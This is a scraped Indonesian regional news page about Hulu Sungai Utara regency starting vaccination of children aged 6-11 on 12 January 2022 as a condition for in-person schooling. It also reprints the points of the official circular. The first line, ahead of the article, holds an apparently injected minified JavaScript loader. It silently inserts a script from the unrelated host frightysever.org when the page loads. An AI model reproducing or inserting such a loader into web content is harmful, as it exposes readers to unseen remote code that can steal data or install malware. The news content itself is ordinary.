(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Syarat PTM di HSU, Vaksinasi Anak 6-11 Tahun Dimulai 12 Januari


KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) siap menggelar vaksinasi bagi anak usia 6-11 tahun. Sasaran itu untuk menambah jumlah masyarakat yang tervaksin dan sebagai syarat mutlak pelaksanaan Pembelajaran Tatap Muka (PTM) di semua satuan pendidikan di Kabupaten HSU.

Kepastian tersebut didapat, setelah Pemkab HSU secara resmi mengeluarkan surat edaran, nomor 410/133/disdik, tentang pelaksanaan vaksinasi anak usia 6-11 tahun, ditandatangani Pelaksanaan Tugas (Plt) Bupati HSU H Husairi Abdi, tertanggal 11 Januari 2022.

Plt Kepala Dinas Kesehatan HSU Masbudianto mengatakan, persiapan pelaksanaan vaksinasi anak usia 6-11 tahun akan digelar di sekolah-sekolah atau di Fasilitas Kesehatan (Faskes) di wilayah HSU.

“Proses vaksinasi nanti bisa dilaksanakan di sekolah masing-masing atau di Faskes, tergantung koordinasinya, tapi biasanya yang lebih gampang dijadwalkan pada sekolah masing-masing. Tergantung kesepakatan dengan sekolahnya,” kata Masbudianto kepada Kanalkalimantan.com, Selasa (11/1/2022).

 

Baca juga : Harga Gula Pasir di Banjarbaru Naik, Susul Minyak Goreng

Sementara terkait ketersediaan vaksin, pihaknya masih menunggu distribusi dari Dinas Kesehatan Provinsi Kalimantan Selatan.

Adapun isi surat edaran tersebut ditujukan kepada seluruh satuan pendidikan PAUD, SD/MI, SMPN/MTsN, SMA/MA sederajat di Kabupaten HSU, terkait pelaksanaan vaksinasi bagi anak usia 6-11 tahun.

1. Pelaksanaan vaksinasi anak usia 6-11 tahun di satuan pendidikan PAUD maupun SD/MI, dimulai tanggal 12 Januari 2022

2. Semua Kepala Satuan Pendidikan PAUD dan SD/MI segera menyiapkan peserta didiknya maupun hal lainnya dalam rangka mensukseskan pelaksanaan kegiatan vaksinasi.

3. Kegiatan vaksinasi disarankan didampingi oleh orangtua.

4. Kepala Satuan Pendidikan diminta segera menyampaikan jadwal kesiapan pelaksanaan vaksinasi kepada Dinas Pendidikan dan Kebudayaan Kabupaten HSU bagi PAUD dan SD dan Kementerian Agama Kabupaten HSU bagi MI.

5. Pelajar diwajibkan melakukan vaksinasi pada tanggal 17 Januari 2022 sebagai syarat mutlak dilakukan Pelajaran Tatap Muka (PTM).

6. Bagi Satuan Pendidikan SMPN/MTSN dan SMA/MA Sederajat yang belum melakukan vaksinasi, agar segera melaksanakan vaksin. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Desy Arfianty

Recent Posts

Serah Terima Aset Pemkab Kapuas – Kejari, Bupati Wiyatno: Lahan akan Dijadikan Taman

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More

2 jam ago

Memperkuat Iman Peringati Isra Mikraj Warga Binaan Rutan Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More

2 jam ago

Bupati Kapuas Serahkan Bantuan Korban Kebakaran di Desa Pantai Kapuas Barat

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas bergerak cepat merespons kebakaran permukiman di Desa Pantai… Read More

2 jam ago

Pemkab Kapuas Bahas Kesiapan Daerah Dukung Program 3 Juta Rumah

KANALKALIMANTAN.COM, KUALA. KAPUAS - Pemerintah Kabupaten Kapuas mulai menyiapkan dukungan terhadap Program 3 Juta Rumah… Read More

2 jam ago

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

1 hari ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

2 hari ago

This website uses cookies.